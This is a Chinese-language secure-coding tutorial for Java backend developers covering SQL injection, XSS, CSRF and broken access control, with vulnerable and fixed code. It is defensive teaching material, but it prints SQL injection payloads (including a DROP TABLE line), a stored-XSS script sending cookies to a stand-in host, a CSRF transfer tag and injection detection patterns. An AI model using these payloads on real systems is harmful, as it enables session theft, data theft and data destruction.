“安全不是有专门的安全团队负责吗?我们后端开发把功能实现好就行了。”
这种想法曾让许多开发者付出过惨痛代价。当一份详尽的安全测试报告摆在面前,揭示出数个高危漏洞时,才会真正意识到:安全并非只是安全团队的职责,而是每一位后端开发者必须掌握的基本功。作为系统数据的直接处理者,后端代码往往是抵御外部攻击的最后一道防线,任何一行不严谨的代码都可能成为系统的致命弱点。
一、SQL注入:最古老但最致命的漏洞
1.1 典型错误写法
许多开发者为了追求灵活性,会直接使用字符串拼接来构建SQL语句,这为SQL注入敞开了大门。
// 错误示范:使用${}进行SQL拼接
@Mapper
public interface UserMapper {
@Select("SELECT * FROM user WHERE username = '${username}' AND password = '${password}'")
User login(@Param("username") String username, @Param("password") String password);
}
这种写法看似灵活,可以动态处理表名或字段。然而,一旦攻击者在登录框中输入以下内容:
用户名:admin' or '1'='1
密码:任意值
实际执行的SQL语句将变为:
SELECT * FROM user WHERE username = 'admin' or '1'='1' AND password = 'xxx'
后果:攻击者成功绕过了密码验证,直接以管理员身份登录系统。
1.2 攻击原理剖析
SQL注入的核心在于:攻击者输入的数据被数据库引擎错误地解析并执行为SQL代码的一部分。
典型攻击步骤:
- 寻找应用程序中将用户输入直接拼接到SQL语句的位置。
- 输入特殊字符(如单引号
'、分号;、注释符--)来“闭合”原有SQL语句的结构。
- 嵌入恶意SQL指令,实现查询、篡改、删除甚至拖库等目的。
常见攻击载荷(Payload):
-- 绕过身份验证
admin' or '1'='1
-- 联合查询获取数据库表名
' UNION SELECT table_name FROM information_schema.tables --
-- 执行删除操作
'; DROP TABLE users; --
1.3 防御方案
方案一:使用#{}进行参数化查询(MyBatis)
这是最推荐、最有效的防御手段。通过使用 MyBatis 等ORM框架的参数化查询功能,可以从根本上杜绝SQL注入。
// 正确做法:使用#{}进行参数绑定
@Mapper
public interface UserMapper {
@Select("SELECT * FROM user WHERE username = #{username} AND password = #{password}")
User login(@Param("username") String username, @Param("password") String password);
}
原理:#{}语法会被MyBatis预处理为JDBC的PreparedStatement参数占位符?,用户输入的内容在任何情况下都只会被当作数据值传递,而不会被解释为SQL指令。
方案二:直接使用PreparedStatement(原生JDBC)
如果未使用ORM框架,应在JDBC层确保使用预编译语句。
public User login(String username, String password) {
String sql = "SELECT * FROM user WHERE username = ? AND password = ?";
try (PreparedStatement ps = connection.prepareStatement(sql)) {
ps.setString(1, username);
ps.setString(2, password);
ResultSet rs = ps.executeQuery();
// ... 处理结果集
}
}
方案三:实施SQL审计(辅助监测)
作为深度防御的一环,可以添加拦截器对所有执行的SQL进行监控和特征分析。
@Component
public class SqlAuditInterceptor implements Interceptor {
@Override
public Object intercept(Invocation invocation) throws Throwable {
Object statement = invocation.getArgs()[0];
if (statement instanceof MappedStatement) {
MappedStatement ms = (MappedStatement) statement;
String sql = ms.getBoundSql(invocation.getArgs()[1]).getSql();
// 记录日志
log.info("Executed SQL: {}", sql);
// 检测常见注入特征(此方法有局限性,不能仅依赖于此)
if (sql.contains("' or '1'='1") || sql.toLowerCase().contains("; drop ")) {
log.error("检测到疑似SQL注入攻击: {}", sql);
throw new SecurityException("非法SQL操作");
}
}
return invocation.proceed();
}
}
1.4 核心安全准则
- 强制使用参数化查询:在任何情况下,优先使用
#{},坚决避免使用${}进行SQL拼接。
- 必须做白名单校验:对于动态表名、动态字段等不得不使用
${}的极少数场景,必须对输入值进行严格的白名单校验。
// 动态表名场景下的安全处理
private static final Set<String> ALLOWED_TABLES = Set.of("user_202401", "user_202402");
public List<User> selectByTable(String tableName) {
// 严格的白名单校验
if (!ALLOWED_TABLES.contains(tableName)) {
throw new IllegalArgumentException("非法的表名参数");
}
return userMapper.selectByTable(tableName); // Mapper中仍需谨慎使用${tableName}
}
二、XSS:后端必须参与防护的前端漏洞
2.1 典型错误想法
“XSS是前端漏洞,前端做好转义就行了,后端存储原始数据更方便。” 这种思路非常危险。
// 风险代码:后端直接存储未经过滤的用户输入
@RestController
public class CommentController {
@PostMapping("/api/comment")
public Result addComment(@RequestBody Comment comment) {
// 直接存入数据库,未做任何处理
commentMapper.insert(comment);
return Result.success();
}
}
假设用户提交了如下评论内容:
<script>
fetch('http://malicious-site.com/steal?cookie=' + document.cookie);
</script>
攻击场景:当网站管理员在后台查看用户评论时,这段恶意脚本会在管理员的浏览器中执行,悄无声息地将管理员的会话Cookie发送到攻击者的服务器,导致后台权限沦陷。
2.2 攻击原理
XSS(跨站脚本攻击)的本质是:攻击者构造的恶意脚本代码,被浏览器当作合法内容加载并执行。
攻击流程:
- 攻击者找到用户可输入并展示的内容入口(如评论、昵称、文章)。
- 提交包含恶意HTML/JavaScript代码的内容。
- 该内容被存储(存储型XSS)或直接反射(反射型XSS)到网页中。
- 其他用户或管理员浏览该页面时,恶意脚本在其浏览器上下文中执行。
2.3 防御方案
方案一:后端统一进行HTML转义(推荐)
在数据存入数据库或返回给前端前,对用户输入中的特殊字符进行转义。
import org.springframework.web.util.HtmlUtils;
@RestController
public class CommentController {
@PostMapping("/api/comment")
public Result addComment(@RequestBody Comment comment) {
// 对内容进行HTML转义,将 <, >, &, " 等转换为实体字符
String safeContent = HtmlUtils.htmlEscape(comment.getContent());
comment.setContent(safeContent);
commentMapper.insert(comment);
return Result.success();
}
}
方案二:使用JSR 303验证注解
在实体类字段上使用@SafeHtml等注解进行校验(需要hibernate-validator等库支持)。
public class Comment {
@NotBlank
@Size(max = 1000)
@SafeHtml // 该注解会检查内容是否包含不安全的HTML
private String content;
}
方案三:启用内容安全策略(CSP)
CSP是一种由浏览器提供的强大安全层,通过HTTP头定义哪些资源可以加载执行,能有效缓解XSS。
@Configuration
public class SecurityConfig {
@Bean
public FilterRegistrationBean<CSPFilter> cspFilter() {
FilterRegistrationBean<CSPFilter> registration = new FilterRegistrationBean<>();
registration.setFilter(new CSPFilter());
registration.addUrlPatterns("/*");
return registration;
}
public static class CSPFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletResponse httpResponse = (HttpServletResponse) response;
// 仅允许加载同源的脚本和样式,内联脚本将被阻止
httpResponse.setHeader("Content-Security-Policy",
"default-src 'self'; script-src 'self'; style-src 'self';");
chain.doFilter(request, response);
}
}
}
方案四:设置HttpOnly和Secure Cookie
防止XSS攻击成功后被窃取Cookie。
@Configuration
public class CookieConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new HandlerInterceptor() {
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response,
Object handler, ModelAndView modelAndView) {
Cookie cookie = new Cookie("SESSIONID", sessionId);
cookie.setHttpOnly(true); // 禁止JavaScript通过`document.cookie`访问
cookie.setSecure(true); // 仅通过HTTPS传输
cookie.setPath("/");
response.addCookie(cookie);
}
});
}
}
2.4 核心安全准则
- 后端必须负责过滤:不能完全依赖前端,后端必须对存储和输出的数据进行净化和转义。
- 对所有用户输入进行处理:包括评论、昵称、地址、搜索关键词等所有字段。
- 加固会话管理:为Cookie始终设置
HttpOnly和Secure属性。
三、CSRF:利用用户信任的隐蔽攻击
3.1 存在漏洞的接口
许多开发者认为,只要接口需要登录态(检查Session或Token)就是安全的,这忽略了CSRF风险。
// 存在CSRF漏洞的转账接口
@RestController
public class TransferController {
@PostMapping("/api/transfer")
public Result transfer(@RequestParam Long toUserId, @RequestParam BigDecimal amount) {
Long userId = getCurrentUserId(); // 从session获取当前用户ID
accountService.transfer(userId, toUserId, amount);
return Result.success();
}
}
攻击过程:
- 用户登录了正规银行网站
your-bank.com,会话保持有效。
- 用户在不经意间访问了攻击者控制的恶意网站。
- 恶意网站中包含一个自动加载的图片标签:
<img src="http://your-bank.com/api/transfer?toUserId=99999&amount=10000" />
- 浏览器在加载该图片时会自动向银行网站发起转账GET/POST请求,并携带用户的Cookie。
- 银行服务器验证Cookie有效,认为是用户本人的合法操作,执行转账。
3.2 攻击原理
CSRF(跨站请求伪造)的本质是:攻击者诱导已登录目标网站的用户,去访问一个恶意构造的页面,该页面会利用用户浏览器中存储的登录凭证(Cookie),伪造用户的身份向目标网站发起非本意的请求。
3.3 防御方案
方案一:使用CSRF Token(最有效)
服务端生成一个随机的、不可预测的Token,嵌入到页面表单或Meta标签中,前端在每次请求时携带该Token,服务端进行校验。
// 服务端:校验CSRF Token
@RestController
public class TransferController {
@PostMapping("/api/transfer")
public Result transfer(@RequestParam Long toUserId,
@RequestParam BigDecimal amount,
@RequestHeader("X-CSRF-TOKEN") String csrfToken) {
// 从Session中获取预期的Token并进行比对
if (!csrfToken.equals(session.getAttribute("CSRF_TOKEN"))) {
throw new SecurityException("非法请求,CSRF Token校验失败");
}
Long userId = getCurrentUserId();
accountService.transfer(userId, toUserId, amount);
return Result.success();
}
}
<!-- 前端:在请求头中携带Token -->
<meta name="_csrf" content="${_csrf.token}"/>
<script>
const csrfToken = document.querySelector('meta[name="_csrf"]').content;
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-TOKEN': csrfToken // 将Token放入请求头
},
body: JSON.stringify({toUserId: 123, amount: 100})
});
</script>
现代 Spring Security 等安全框架默认已提供完善的CSRF防护机制。
方案二:设置SameSite Cookie属性
通过设置Cookie的SameSite属性为Strict或Lax,可以控制Cookie在跨站请求时是否被发送。
@Configuration
public class CookieConfig {
@Bean
public CookieSameSiteSupplier cookieSameSiteSupplier() {
// Strict模式:Cookie在任何跨站请求中都不会被发送,防护最强。
return CookieSameSiteSupplier.ofStrict();
}
}
方案三:校验Referer/Origin头部
检查请求头中的Referer或Origin字段,确保请求来源于同源站点。此方法可作为辅助手段,但不能完全依赖。
@Component
public class RefererFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
String referer = httpRequest.getHeader("Referer");
// 仅允许来自本站点的请求
if (referer != null && referer.startsWith("https://your-domain.com")) {
chain.doFilter(request, response);
} else {
((HttpServletResponse) response).setStatus(HttpServletResponse.SC_FORBIDDEN);
}
}
}
3.4 核心安全准则
- 关键操作必须使用CSRF Token:所有会产生状态变更的POST、PUT、DELETE请求都应受到保护。
- 合理配置Cookie属性:为会话Cookie设置
SameSite=Strict或Lax。
- 实施二次验证:对于转账、修改密码等极高敏感操作,应结合短信验证码、密码二次确认等手段。
四、越权访问:数据归属校验不可或缺
4.1 常见疏漏
开发者在实现数据查询接口时,常常只验证用户是否登录,而忘记验证该数据是否真正属于当前用户。
// 存在越权漏洞的订单查询接口
@RestController
public class OrderController {
@GetMapping("/api/order/{id}")
public Result<Order> getOrder(@PathVariable Long id) {
// 仅根据ID查询,未校验订单所属用户
Order order = orderMapper.selectById(id);
return Result.success(order); // 可能返回了别人的订单
}
}
攻击者只需简单地遍历订单ID(如/api/order/1001, /api/order/1002),就可以窃取系统中所有用户的订单信息。
4.2 攻击原理
越权访问(Broken Access Control)的本质是:应用程序未能对用户访问其无权访问的资源(数据或功能)实施有效的限制。
- 水平越权:用户A访问了属于同级别用户B的数据(例如,A查看B的订单)。
- 垂直越权:低权限用户访问了仅限高权限用户使用的功能或数据(例如,普通用户访问管理员后台)。
4.3 防御方案
方案一:使用统一的权限校验切面(推荐)
通过AOP(面向切面编程)实现一个通用的数据权限校验层。
// 自定义权限校验注解
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface CheckDataOwner {
}
// 权限校验切面
@Aspect
@Component
public class DataPermissionAspect {
@Around("@annotation(checkDataOwner)")
public Object checkPermission(ProceedingJoinPoint pjp, CheckDataOwner checkDataOwner) throws Throwable {
Long currentUserId = SecurityUtils.getCurrentUserId();
Object[] args = pjp.getArgs();
// 假设第一个参数是资源ID
if (args.length > 0 && args[0] instanceof Long) {
Long resourceId = (Long) args[0];
// 调用服务方法,校验资源所有权
if (!dataPermissionService.isOwner(resourceId, currentUserId)) {
throw new AccessDeniedException("您无权访问该资源");
}
}
return pjp.proceed();
}
}
// 在Controller方法上使用注解
@RestController
public class OrderController {
@GetMapping("/api/order/{id}")
@CheckDataOwner // 添加注解,自动触发权限校验
public Result<Order> getOrder(@PathVariable Long id) {
Order order = orderMapper.selectById(id);
return Result.success(order);
}
}
方案二:在业务逻辑层手动校验
在每个需要权限控制的Service方法中,显式地加入所有权校验逻辑。
@RestController
public class OrderController {
@GetMapping("/api/order/{id}")
public Result<Order> getOrder(@PathVariable Long id) {
Long userId = SecurityUtils.getCurrentUserId();
// 查询时关联用户ID
Order order = orderMapper.selectByIdAndUserId(id, userId);
if (order == null) {
// 找不到记录,可能是ID不存在,也可能是用户无权限,统一返回“无权限”以避免信息泄露
throw new AccessDeniedException("订单不存在或您无权访问");
}
return Result.success(order);
}
}
对应的Mapper SQL:
<select id="selectByIdAndUserId" resultType="Order">
SELECT * FROM `order` WHERE id = #{id} AND user_id = #{userId}
</select>
五、安全开发核心清单(上篇小结)
- 强制输入验证:在数据入口处,使用JSR 303注解或手动校验对用户输入的长度、格式、类型进行严格限制。
- 杜绝SQL注入:坚持使用参数化查询(
#{}或PreparedStatement),严禁拼接SQL。
- 协同防御XSS:后端应对存储和输出的文本数据进行HTML转义,前端亦需配合,并设置CSP、HttpOnly Cookie等多重防线。
- 全面防护CSRF:为状态变更请求启用CSRF Token保护,并合理配置Cookie的SameSite属性。
- 校验数据权限:每一个数据查询和操作接口,都必须显式校验当前用户是否拥有目标数据的访问或操作权限。